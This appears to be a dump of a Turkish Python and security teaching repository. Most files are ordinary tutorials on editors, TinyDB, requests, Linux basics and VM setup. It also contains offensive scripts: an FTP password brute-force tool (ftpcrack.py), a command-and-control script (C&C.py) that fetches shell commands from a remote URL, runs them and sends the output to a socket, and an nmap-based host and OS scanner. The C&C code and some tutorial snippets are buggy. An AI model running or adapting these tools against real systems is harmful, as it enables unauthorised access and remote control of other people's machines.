başlamak. 11 | 12 | ```python 13 | # i tuşuna bir kere baısılır. 14 | i = insert mode (artık yazmaya başlayabilirsiniz.) 15 | ``` 16 | 17 | + Yazdıklarımızı kayıt etmek için 18 | 19 | ```python 20 | esc :w = kaydet 21 | esc :wq = kaydet ve çık. 22 | ``` 23 | 24 | + Çıkış yapmak için 25 | 26 | ```python 27 | esc :q! = kayıt etmeden zorla çık 28 | ``` 29 | 30 | + Şifreli bir dosya açmak 31 | 32 | ```python 33 | vim +X deneme.py 34 | ``` 35 | 36 | ## Nano 37 | 38 | + Bir dosya açmak 39 | ```python 40 | vim deneme.py 41 | ``` 42 | 43 | + Yazdıklarımızı kayıt etmek için 44 | 45 | ```python 46 | ctrl + o + Enter = Yazdıklarımızı kayıt etmek için 47 | ``` 48 | 49 | + Çıkış yapmak için 50 | 51 | ```python 52 | ctrl + x = Çıkış yapar 53 | ``` 54 | 55 | + Arama yapmak için 56 | 57 | ```python 58 | ctrl + k = Bulunduğunuz dosyada arama yapmak için kullanabilirsiniz. 59 | ``` 60 | -------------------------------------------------------------------------------- /modules/Veritabani/m_tinydb.md: -------------------------------------------------------------------------------- 1 | ### TinyDB! 2 | 3 | + Neden TinyDB 4 | 5 | ```python 6 | Basit ve kullanımı kolay olacak şekilde tasarlanmıştır. 7 | Kurulum gerektirmemesi 8 | Kod ile birlikte taşınabilen bir veri tabanı olması 9 | 100% json 10 | dosya tabanlı 11 | ``` 12 | + Neden TinyDB değil !!! 13 | 14 | ```python 15 | Saniyede binlerce sorgu yapılacaksa performansı düşük kalır 16 | ``` 17 | 18 | + Kurulumu 19 | 20 | ```python 21 | pip install tinydb 22 | ``` 23 | 24 | + import 25 | ```python 26 | from tinydb import TinyDB, Query 27 | db = TinyDB('db.json') 28 | ``` 29 | 30 | + Sorgu nesnesi oluşturma 31 | ```python 32 | sorgu = Query() 33 | ``` 34 | 35 | + Eleman Ekleme 36 | ```python 37 | db.insert({'type': 'armut', 'count': 7}) 38 | ``` 39 | + Eleman Arama 40 | ```python 41 | db.searh(sorgu.type == 'armut') 42 | ``` 43 | + Eleman Güncelleme 44 | ```python 45 | db.update({'count': 10}, sorgu.type == 'armut') 46 | ``` 47 | + Eleman Silme 48 | ```python 49 | db.remove(sorgu.type == 'armut') 50 | ``` 51 | + Eklenen Elemanları Çağırmak 52 | ```python 53 | db.all() 54 | db.all()[2] 55 | db.all()[2]['type'] 56 | ``` 57 | -------------------------------------------------------------------------------- /examples/ftpcrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys, os 4 | import ftplib 5 | from termcolor import colored 6 | from colorama import Fore, Back, Style 7 | 8 | tool = """ 9 | ||===== FTP Crack Tool v0.1 10 | || site: besimaltinok.com 11 | ||=== mail: besimaltnok[at]gmail.com 12 | || git : besimaltnok 13 | || 14 | """ 15 | def ftp_brute(p): 16 | try: 17 | print "[*] User : securityci ", " [*] Password : ", p 18 | host = 'localhost' 19 | user = "besim" 20 | ftp = ftplib.FTP(host, timeout=0.08) 21 | ftp.login(user, p) 22 | print colored("[*] Password Found ! :) = > " + str(p), 'green') 23 | ftp.quit() 24 | sys.exit(0) 25 | 26 | except Exception, e: 27 | pass 28 | 29 | if __name__ == "__main__": 30 | os.system('reset') 31 | print(Fore.GREEN + tool) 32 | print(Style.RESET_ALL) 33 | passfile = open("pass.txt", "r").readlines() 34 | print "\n[*] Read ",(len(passfile))," password from file" 35 | print "[-.-] FTP Crack started\n" 36 | map(ftp_brute, passfile) 37 | print Fore.RED + "I can't found password for you :/ I m sorry :-(" 38 | print Fore.RED + "Try ", len(passfile), " password for cracking :/" 39 | -------------------------------------------------------------------------------- /examples/C&C.py: -------------------------------------------------------------------------------- 1 | __author__ = 'besimaltnok' 2 | 3 | import urllib2 4 | import socket 5 | import subprocess 6 | 7 | #Get Command 8 | url = "www.command.com/command.txt" 9 | open = urllib2.urlopen(url) 10 | read = open.read() 11 | 12 | #Execute Command 13 | command = subprocess.Popen(read, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 14 | stdout_value = command.stdout.read() + command.stderr.read() 15 | 16 | #Open and Write in File 17 | data = open('data.txt','rb') 18 | data.write(stdout_value) 19 | data.close() 20 | 21 | #Send File 22 | ip = "" 23 | port = 4441 24 | 25 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 26 | s.connect((ip, port)) 27 | l = data.read(1024) 28 | while (l): 29 | print 'Sending...' 30 | s.send(l) 31 | data.close() 32 | print "Done Sending" 33 | s.close() 34 | 35 | #Recieving File 36 | import socket 37 | s = socket.socket() 38 | host = socket.gethostname() 39 | port = 4441 40 | s.bind((host, port)) 41 | file = open('data.txt','wb') 42 | s.listen(5) 43 | 44 | while True: 45 | c, addr = s.accept() 46 | print 'Got connection from', addr 47 | l = c.recv(1024) 48 | while (l): 49 | file.write(l) 50 | l = c.recv(1024) 51 | file.close() 52 | print "Done" 53 | c.close() 54 | -------------------------------------------------------------------------------- /temellinux/temellinux.md: -------------------------------------------------------------------------------- 1 | ### Temel Linux Bilgileri 2 | 3 | 4 | + Dosya Oluşturma 5 | 6 | ```python 7 | touch dosyaismi.py 8 | touch dosya1 dosya2 dosya3 9 | ``` 10 | 11 | + Klasör Oluşturma 12 | 13 | ```python 14 | mkdir klasörismi 15 | mkdir -p klasör/klasör2 16 | ``` 17 | + Dosya ve Klasör Silme 18 | 19 | ```python 20 | rm -r klasörismi 21 | rm dosyaismi 22 | ``` 23 | 24 | + Dosya listeleme 25 | 26 | ```python 27 | ls 28 | ls -l # gizli dosyaları gösterme 29 | ls -la # gizli dosyaları da göster (ismi nokta ilebaşlayan dosyalar) 30 | ls -lS # boyuta göre sıralama 31 | ls -lt # zamana gmre sıralama 32 | ls -lh # okunabilir şekilde sıralama 33 | ``` 34 | 35 | + cd (change directory) 36 | 37 | ```python 38 | Dizin geçişleri için kullanılır 39 | ``` 40 | 41 | + pwd (print name of current/working directory) 42 | 43 | ```python 44 | Üzerinde çalıştığımız dizinin adını ekrana basar 45 | ``` 46 | 47 | ### Terminal Kısayolları 48 | 49 | - CTRL + Shift + C = Terminalde seçili metni kopyalar 50 | - CTRL + Shift + V = Kopyalanan veriyi yapıştırır. 51 | - CTRL + L = Terminal ekranını temizler 52 | - CTRL + A = Terminalde imleci satır başına getirir 53 | - CTRL + U = İmlecin sol tarafındakileri keser 54 | - CTRL + K = İmlecin sağ tarafındakileri keser 55 | - CTRL + Y = "ctrl + a" ve "ctrl + v" işlemleri ile alınan textleri terminale yapıştırır. 56 | -------------------------------------------------------------------------------- /modules/Web/m_requests.md: -------------------------------------------------------------------------------- 1 | ### Requests modülü hakkında ### 2 | 3 | + GET ve POST istekleri 4 | 5 | ```python 6 | import requests 7 | get = requests.get(url) 8 | post = requests.post(url) 9 | ``` 10 | 11 | + İsteklere timeout değeri ekleme 12 | 13 | ```python 14 | import requests 15 | get = requests.get(url, timeout=0.01) 16 | post = requests.post(url, timeout=0.008) 17 | ``` 18 | + İsteklere parametre ekleme 19 | 20 | ```python 21 | import requests 22 | payload = {'user': 'besim', 'passw': '1besim1'} 23 | requests.get('http://url/giris', params=payload) 24 | ``` 25 | 26 | + Status Code okuma 27 | 28 | ```python 29 | get.status_code 30 | ``` 31 | 32 | + Özel header alanı oluşturma (HTTP headers) 33 | 34 | ```python 35 | headers = {'user-agent': 'mybrowser'} 36 | requests.get(url, headers=headers) 37 | ``` 38 | 39 | + HTTP response okuma 40 | 41 | ```python 42 | resp = requests.get(url) 43 | resp.headers 44 | resp['expires'] 45 | ``` 46 | 47 | + Dönen içeriği okuma 48 | 49 | ```python 50 | get.getText() 51 | ``` 52 | ### Yetkilendirme Süreci ### 53 | 54 | + Basic 55 | 56 | ```python 57 | from requests.auth import HTTPBasicAuth 58 | requests.get('https://url/login', auth=HTTPBasicAuth('user', 'pass')) 59 | # veya # 60 | requests.get('https://url/login', auth=('user', 'pass')) 61 | ``` 62 | 63 | + Digest 64 | 65 | ```python 66 | from requests.auth import HTTPDigestAuth 67 | requests.get('https://url/login', auth=HTTPDigestAuth('user', 'pass')) 68 | ``` 69 | 70 | ### SSL Doğrulama 71 | 72 | ```python 73 | import requests 74 | 75 | try: 76 | requests.get('https://cyberlab.sdu.edu.tr', verify=True) 77 | except requests.exceptions.SSLError: 78 | print "This web site has not a SSL cert" 79 | ``` 80 | -------------------------------------------------------------------------------- /temelbilgiler/temel.md: -------------------------------------------------------------------------------- 1 | ### Temel Bilgiler 2 | 3 | 4 | + Değişken tanımlama 5 | ```python 6 | a = "besim" 7 | b = 5 8 | c = 8.3 9 | a, b, c = "besim", 5, 8.3 10 | ``` 11 | 12 | + Değişken olarak tanımlayamadıklarımız 13 | ```python 14 | import keyword 15 | listem = keyword.kwlist 16 | ``` 17 | 18 | + Print() Fonksiyonu 19 | ```python 20 | print("Ali") 21 | print("Mehmet Köse", "Besim", "İsmail") 22 | print("""Herkes için Python 23 | Yayında ...""") 24 | 25 | print("www", "besimaltinok", "com", sep=".") 26 | # www.besimaltinok.com 27 | 28 | print("Besim", "Altinok", sep=None) 29 | # Besim Altinok 30 | 31 | f = open("file.txt", "w") 32 | print("Herkes için Python", file=f) 33 | f.close() 34 | ``` 35 | 36 | + Fonksiyon tanımlama 37 | ```python 38 | def Fonksiyon(): 39 | pass 40 | ``` 41 | 42 | ### Dosya işlemleri 43 | 44 | + Dosya Açma Kipleri ve Anlamları 45 | 46 | ```python 47 | r = Okuma modunda 48 | w = Yazma modunda 49 | a = Dosyanın sonuna ekleme yapmak için kullanılır. Dosya içeriği korunur. 50 | r+ = Dosyanın başına ekleme yapmak için kullanılır. 51 | ``` 52 | 53 | + Dosya Okuma 1 54 | ```python 55 | file = open("file.txt", "r") 56 | data = file.read() 57 | print data 58 | file.close() 59 | ``` 60 | + Dosya Okuma 2 (Satır Satır okuma) 61 | ```python 62 | file = open("file.txt", "r") 63 | data = file.readline() 64 | print data 65 | file.close() 66 | ``` 67 | + Dosya Okuma 3 (liste şeklinde) 68 | ```python 69 | file = open("file.txt", "r") 70 | data = file.readlines() 71 | print data 72 | file.close() 73 | ``` 74 | 75 | + Dosya Okuma (with open) 76 | ```python 77 | with open("filename", "r") as dosya: 78 | print(filename.read()) 79 | ``` 80 | + Dosya Yazma 1 81 | ```python 82 | file = open("file.txt", "w") 83 | file.write("Merhaba Meryem") 84 | file.close() 85 | ``` 86 | 87 | + Dosya Yazma 2 88 | ```python 89 | file = open("file.txt", "a") 90 | file.write("Merhaba Meryem") 91 | file.close() 92 | ``` 93 | -------------------------------------------------------------------------------- /examples/nmap.py: -------------------------------------------------------------------------------- 1 | __author__ = 'besimaltnok' 2 | 3 | import nmap 4 | import sys 5 | 6 | nm = nmap.PortScanner() 7 | 8 | port_list = [21,22,25,139,3306, 1248] 9 | host = sys.argv[1] 10 | argument = '-n -T4 -O -sV -p ' 11 | print "Scanning host : %s " %host 12 | print "\n" 13 | print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" 14 | print "Port\tName\tState\tReason" 15 | print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" 16 | try: 17 | 18 | for i in port_list: 19 | sc = nm.scan(hosts=host, arguments=argument + str(i)) 20 | print "%s\t%s\t%s\t%s" %(i, nm[host]['tcp'][i]['name'] , nm[host]['tcp'][i]['state'], nm[host]['tcp'][i]['reason']) 21 | except KeyboardInterrupt: 22 | print "\n" 23 | print "!Scanning Stop!" 24 | exit 25 | except NameError: 26 | print "Stop!!!!" 27 | exit 28 | 29 | print "\n" 30 | print "Scanned System Type : %s " %(sc['scan'][host]['osmatch'][0]['name']) 31 | print "Start scanning : %s " % (sc["nmap"]['scanstats']['timestr']) 32 | print "Scan Time : %s " % (sc["nmap"]['scanstats']['elapsed']) 33 | 34 | 35 | 36 | # Aktif bilgisayar tespiti 37 | 38 | import nmap 39 | nm = nmap.PortScanner() 40 | 41 | hostlist = ['ipler_buraya'] 42 | for h in hostlist: 43 | sc = nm.scan(h, '80', '-sV -O') 44 | state = sc['nmap']['scanstats']['uphosts'] 45 | if state == '1': 46 | print h, " : Aktif host :)" 47 | else: 48 | print h, " : Kapali host :(" 49 | 50 | 51 | # Aktif bilgisayarların mac tespiti 52 | 53 | 54 | import nmap 55 | nm = nmap.PortScanner() 56 | 57 | hostlist = ['ipler_buraya'] 58 | for h in hostlist: 59 | sc = nm.scan(h, '80', '-sV -O') 60 | state = sc['nmap']['scanstats']['uphosts'] 61 | if state == '1': 62 | mac = sc['scan']['addressses']['mac'] 63 | print mac, " : ", h 64 | 65 | 66 | 67 | 68 | # Aktif bilgisayarların işletim sistemi bilgisini elde etmek 69 | 70 | import nmap 71 | nm = nmap.PortScanner() 72 | 73 | hostlist = ['ipler_buraya'] 74 | for h in hostlist: 75 | sc = nm.scan(h, '80', '-sV -O') 76 | state = sc['nmap']['scanstats']['uphosts'] 77 | if state == '1': 78 | os = sc['scan'][h]['osmatch'][1]['osclass'][0]['osfamily'] 79 | mac = sc['scan']['addressses']['mac'] 80 | print mac, " : ", h, " : ", os 81 | -------------------------------------------------------------------------------- /temellinux/kurlum.md: -------------------------------------------------------------------------------- 1 | ## Kurulum 2 | 3 | ### Sanal Makine Vmware 4 | 5 | 6 | + Sanal makine oluşturma 7 | 8 | ![cypm](/img/1.png) 9 | 10 | + Kurulum dosyası tanımlama 11 | 12 | ![cypm](/img/2.png) 13 | 14 | + Sistem tipini seçmek 15 | 16 | ![cypm](/img/3.png) 17 | 18 | + Sanal makine ismi belirleme 19 | 20 | ![cypm](/img/4.png) 21 | 22 | + Sanal makine için ayırmak istediğiniz alan 23 | 24 | ![cypm](/img/5.png) 25 | 26 | + Hazırlnan sanal makinenin genel özelliklerini görme ve değiştirme ekranı 27 | 28 | ![cypm](/img/6.png) 29 | 30 | + Kurulum dosyasını seçmek 31 | 32 | ![cypm](/img/8.png) 33 | 34 | + Kurulumu başlatmak 35 | 36 | ![cypm](/img/7.png) 37 | 38 | ### UBUNTU Kurulumu 39 | 40 | + Kurulum için ilk adım 41 | 42 | ![cypm](/img/u1.png) 43 | 44 | + Sistem dilini seçmek 45 | 46 | ![cypm](/img/u2.png) 47 | 48 | + Kurulum için ön kontroller 49 | 50 | ![cypm](/img/u3.png) 51 | 52 | + Kurulumun nasıl yapılacağı 53 | 54 | ![cypm](/img/u4.png) 55 | 56 | + Kurulum onay 57 | 58 | ![cypm](/img/u5.png) 59 | 60 | + Saat ayarları için bölge seçimi 61 | 62 | ![cypm](/img/u6.png) 63 | 64 | + Klavye seçimi 65 | 66 | ![cypm](/img/u7.png) 67 | 68 | + Sistem için parola ve kullanıcı adı gibi bilgileri belirleme 69 | 70 | ![cypm](/img/u8.png) 71 | 72 | + Kurulum başladı. 73 | 74 | ![cypm](/img/u9.png) 75 | 76 | + Tamamlandı. 77 | 78 | ![cypm](/img/u10.png) 79 | 80 | + VMware Tools Kurulumu 81 | 82 | ```python 83 | apt-get update 84 | apt-get upgrade 85 | apt-get install open-vm-tools 86 | apt-get install open-vm-toolbox 87 | ``` 88 | 89 | ### Sanal Makine Oracle VirtualBox 90 | 91 | + Kurluma Başlamak 92 | 93 | ![cypm](/img/o1.png) 94 | 95 | + Kurulum yerini seçmek 96 | 97 | ![cypm](/img/o2.png) 98 | 99 | + Dosyalar ilişkilendirilsin ve kısayol oluşturulsun 100 | 101 | ![cypm](/img/o3.png) 102 | 103 | + Ağ yaılandırması yapılacak, bu nedenle ağ bağlantınız durdurulabilir. 104 | 105 | ![cypm](/img/o4.png) 106 | 107 | + Kuruluma Başlamak 108 | 109 | ![cypm](/img/o5.png) 110 | ![cypm](/img/o6.png) 111 | ![cypm](/img/o7.png) 112 | 113 | ### Sanal Makine Oracle VirtualBox ile Sanal Makine Oluşturmak 114 | 115 | + Yeni 116 | 117 | ![cypm](/img/o8.png) 118 | 119 | + Uzman Kip (Daha kullanışlı bir kurulum sağlar) 120 | 121 | ![cypm](/img/o9.png) 122 | 123 | + Makine ismi ve RAM ayarları 124 | 125 | ![cypm](/img/o10.png) 126 | 127 | + Sanal makine imajının kuralacağı yer 128 | 129 | ![cypm](/img/o11.png)![cypm](/img/o12.png) 134 | 135 | + Yapılandırmalar 136 | 137 | ![cypm](/img/o13.png) 138 | 139 | + Kurulum dosyasının verilmesi (ISO) 140 | 141 | ![cypm](/img/o14.png) 142 | 143 | 144 | ![cypm](/img/o15.png) 145 | 146 | + Başlat :) 147 | 148 | ![cypm](/img/oend.png) 149 | 150 | ### Videolu Eğitim Linkleri (sduyazilim) 151 | 152 | + [Temel Linux Komutları ](https://www.youtube.com/watch?v=ywarZ0t01Fw) 153 | + [Temel Terminal Kısayolları](https://www.youtube.com/watch?v=e1oCklDGZw4) 154 | + [Vmware Hakkında](https://www.youtube.com/watch?v=kC9P0f-VNW4) 155 | -------------------------------------------------------------------------------- /odevler/pokemon.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | ' 4 | @@ 5 | @@@: 6 | +@@@@ 7 | `@@@@@ 8 | @@@@@@ 9 | '@@@@@@. 10 | @@@@@@@' 11 | @@@@@@@@@ 12 | @@@@@@@@@ 13 | @@@@@@@@@@ 14 | @@@@@@@@@@ 15 | @@@@@@@@@@@ 16 | @@@@@+. @@@@@@@@@@@ 17 | `@@@@@@@@+` +@@@@@@@@@@@ 18 | +@@@@@@@@@@@; @@@@@@@@@@@@ 19 | @@@@@@@@@@@@@@+ ,@@@@@@@@@@@@ 20 | @@@@@@@@@@@@@@@@' @+@@@@@@@@@@@ 21 | ;@@@@@@@@@@@@@@@@@@, @,,@@@@@@@@@@ 22 | @@@@@@@@@@@@@@@@@@+@+ +;,,,@@@@@@@@@ 23 | @@@@@@@@@@@@@@@@@,,;@@` @,,,,,@@@@@@@@ 24 | @@@@@@@@@@@@@@@+,,,,:@@` `#,,,,,,@@@@@@@ 25 | `@@@@@@@@@@@@@@',,,,,,,@@. #:,,,,,,,@@@@@@ 26 | :@@@@@@@@@@@@@+,,,,,,,,,#@ @,,,,,,,,,@@@@@ 27 | '@@@@@@@@@@@@#,,,,,,,,,,,@# #,,,,,,,,,+@@@@ 28 | #@@@@@@@@@@@@,,,,,,,,,,,,,@+ +:,,,,,,,,,,@@@@ 29 | #@@@@@@@@@@@,,,,,,,,,,,,,,:@: @,,,,,,,,,,,:@@@ 30 | @@@@@@@@@@@,,,,,,,,,,,,,,,,'@. @,,,,,,,,,,,,@@@ 31 | #@@@@@@@@@,,,,,,,,,,,,,,,,,,#@ :;,,,,,,,,,,,,,@# 32 | #@@@@@@@@,,,,,,,,,,,,,,,,,,,:@+ @,,,,,,,,,,,,,,@' 33 | +@@@@@@@,,,,,,,,,,,,,,,,,,,,,+@ @,,,,,,,,,,,,,,+: 34 | '@@@@@@',,,,,,,,,,,,,,,,,,,,,,@' #,,,,,,,,,,,,,,@` 35 | ,@@@@@@:,,,,,,,,,,,,,,,,,,,,,,+@ ;:,,,,,,,,,,,,,,@ 36 | `@@@@@::,,,,,,,,,,,,,,,,,,,,,,:@, @,,,,,,,,,,,,,,,@ 37 | @@@@::::,,,,,,,,,,,,,,,,,,,,,,@# @,,,,,,,,,,,,,,,@ 38 | @@@':::::,,,,,,,,,,,,,,,,,,,,,+@ #,,,,,,,,,,,,,,:@ 39 | '@@::::::,,,,,,,,,,,,,,,,,,,,,;@ ,;,,,,,,,,,,,,,,;@ 40 | `@;:::::::,,,,,,,,,,,,,,,,,,,,,@. #,,,,,,,,,,,,,,,+; 41 | @#::::::::,,,,,,,,,,,,,,,,,,,,@: @,,,,,,,,,,,,,,,#` 42 | ;@:::::::::,,,,,,,,,,,,,,,,,,,@; @,,,,,,,,,,,,,,:@ 43 | @+::::::::,,,,,,,,,,,,,,,,,,,@; #,,,,,,,,,,,,,,:@ 44 | +@:::::::::,,,,,,,,,,,,,,,,,,@: `',,,,,,,,,,,,,,:@ 45 | @+:::::::::,,,,,,,,,,,,,,,,,@. ``.....` ',,,,,,,,,,,,,,::# 46 | ;@:::::::::,,,,,,,,,,,,,,,,,@.+@@@@@@@+'#@@@@@@@;` @,,,,,,,,,,,,,,:': 47 | @@:::::::::,,,,,,,,,,,,,,@@+;:,,,,,,,,,,,,,,,:'#@@#` @,,,,,,,,,,,,,,:@ 48 | `@+:::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+@@` @,,,,,,,,,,,,,::@ 49 | ,@'::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+@; @,,,,,,,,,,,,,::@ 50 | :@+::::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@+ #,,,,,,,,,,,,,::# 51 | ,@#:::::::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@+ +,,,,,,,,,,,,::+. 52 | `#@'::::::;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@, .',,,,,,,,,,,,::@ 53 | .#@#';#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@ .;,,,,,,,,,,,:::@ 54 | .@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@, ,:,,,,,,,,,,,:::@ 55 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@ ,:,,,,,,,,,,,::#. 56 | @;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@ ,',,,,,,,,,,:::@ 57 | ,#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:@.+,,,,,,,,,,:::@ 58 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@#,,,,,,,,,:::+; 59 | ,;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@:,,,,,,,,:::@ 60 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@:,,,,,,::::@ 61 | ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@:,,,,,:::+: 62 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@,,,,::::@ 63 | ,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::@ 64 | @,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::@` 65 | :+,,,,,,,,,;##:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::::@ 66 | @,,,,,,,,@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::#. 67 | .@,,,,,,,@@@p# ,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:::@ 68 | @:,,,,,,@@@@@ ##,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::#. 69 | @,,,,,,:@@@@@ ;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#:@ 70 | :+,,,,,,@@@@@@ @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@ 71 | @,,,,,,,@@@@@@@.`#@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@' 72 | @,,,,,,,@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+` 73 | @,,,,,,,,'@@@@@@@@@@+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;, 74 | @,,,,,,,,,@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:; 75 | @#:,,,,,,,,:@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,; 76 | ;#'@',,,,,,,,,@@@@@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:; 77 | @;;;@:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;@@@;,,,,,,,,,,,,:: 78 | @;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,i@, #@@,,,,,,,,,,,'` 79 | +#;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@,,,,,,,,,,,,,,,,@@ @@@,,,,,,,,,,@ 80 | `@;;;;;;+;,,,,,,,,,,,,,,,,,,,,,,,,,,,'@@,,,,,,,,,,,,,,,+@@ :@@@,,,,,,,,,@ 81 | @;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@ #@@@,,,,,,,,,@ 82 | `@;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@ :@@@@:,,,,,,,;: 83 | '';;;;;;;;@,,,,,,,,,,,,,,@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@:,,,,,,,# 84 | @;;;;;;;;;@,,,,,,,,,,,,,,,@,,,,,,;#@@@@',,,,,,,,,,,,,,,,@@@@@@@@@@@:,,,,,,,@ 85 | @;;;;;;;;;@,,,,,,,,,,,,,,,:@@@@@@@#++++@#,,,,,,,,,,,,,,,@@@@k@@@@@@,,,,,,,,@ 86 | @;;;;;;;;;@,,,,,,,,,,,,,,,;#++++++++++++#@,,,,,,,,,,,,,,,@@@@@@@@@@,,,,,,,:+ 87 | @;;;;;;;;'@,,,,,,,,,,,,,,,'#+++++++++++++#@,,,,,,,,,,,,,,'@@@@@@@@,,,,,,,,'. 88 | @;;;;;;;;+;,,,,,,,,,,,,,,,##+#@@@@@@@@#++++@+,,,,,,,,,,,,,:@@@@@a,,,,,,,,,@ 89 | @;;;;;;;;@,,,,,,,,,,,,,,,,#@@#''''''''#@@+++#@:,,,,,,,,,,,,,,;;,,,,,,,,,,,@ 90 | #;;;;;;;;@,,,,,,,,,,,,,,,,@+''''''''''''+@#+++@@#'#@,,,,,,,,,,,,,,,,,,,,,,@ 91 | ;';;;;;;@:,,,,,,,,,,,,,,,,@'''''''''''''''@@++++#@:,,,,,,,,,,,,,,,,,,,,,,:; 92 | `#;;;;;'@,,,,,,,,,,,,,,,,,@''';::::::''''''@@+++@:,,,,,,,,,,,,,,,,,,,,,,,+` 93 | @;;;;;@,,,,,,,,,,,,,,,,,,@';::::::::::;''''@#++@,,,,,,,,,,,,,,,,,,,,,,,,@ 94 | @;;;'@,,,,,,,,,,,,,,,,,,,@::::::::::::::''''@+@;,,,,,,,,,,,,,,,,,,,,,,,,@ 95 | :@@@@,,,,,,,,,,,,,,,,,,,,@:::::::::::::::'''##@,,,,,,,,,,,,,,,,,,,,,,,,,@ 96 | @,,,,,,,,,,,,,,,,,,,,,,,@:::::::::::::::;'''@:,,,,,,,,,,,,,,,,,,,,,,,,,@ ,#@@@@@@@@#' 97 | @,,,,,,,,,,,,,,,,,,,,,,,#::::::::::::::::'''@,,,,,,,,,,,,,,,,,,,,,#@@@@@ '@@@':,,,,,,,,+` 98 | ,',,,,,,,,,,,,,,,,,,,,,,#:::::::::::::::::'@,,,,,,,,,,,,,,,,,,,,#@';;;;@ ;@@:,,,,,,,,,,,,,@ 99 | @,,,,,,,,,,,,,,,,,,,,,,';::::::::::::::::++,,,,,,,,,,,,,,,,,,,@#;;;;;;+ #@;,,,,,,,,,,,,,,,,@@ 100 | #:,,,,,,,,,,,,,,,,,,,,,;;::::::::::::::::c,,,,,,,,,,,,,,,,,,,@';;;;;;''#@,,,,,,,,,,,,,,,,,,,@:@` 101 | @,,,,,,,,,,,,,,,,,,,,,:+:::::::::::::::@,,,,,,,,,,,,,,,,,,,@';;;;;;;'@;,,,,,,,,,,,,,,,,,,,,@,,@: 102 | @,,,,,,,,,,,,,,,,,,,,,,@::::::::::::::++,,,,,,,,,,,,,,,,,,#t;;;;;;;;+:,,,,,,,,,,,,,,,,,,,,,:,,:@ 103 | `@,,,,,,,,,,,,,,,,,,,,,@::::::::::::::@,,,,,,,,,,,,,,,,,,,@;;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,++. 104 | @,,,,,,,,,,,,,,,,,,,,,@:::::::::::::@,,,,,,,,,,,,,,,,,,,@;;;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,,@ 105 | `@,,,,,,,,,,,,,,,,,,,,#;:::::::::::@:,,,,,,,,,,,,,,,,,,:#;;;;;;;;;'#,,,,,,,,,,,,,,,,,,,,,,,,,@ 106 | ;#@@@@@@#@+;,,,,,,,,,,,,,,,,,,:@::::::::::@;,,,,,,,,,,,,,,,,,,,@;;;;;;;;;;@,,,,,,,,,,,,,,,,,,,,,,,,;#` 107 | .@@@',,,,,,,,,,'@@@#:,,,,,,,,,,,,,,@:::::::::@;,,,,,,,,,,,,,,,,,,,,@;;;;;;;;;'@,,,,,,,,,,,,,,,,,,,,,,,,,@ 108 | 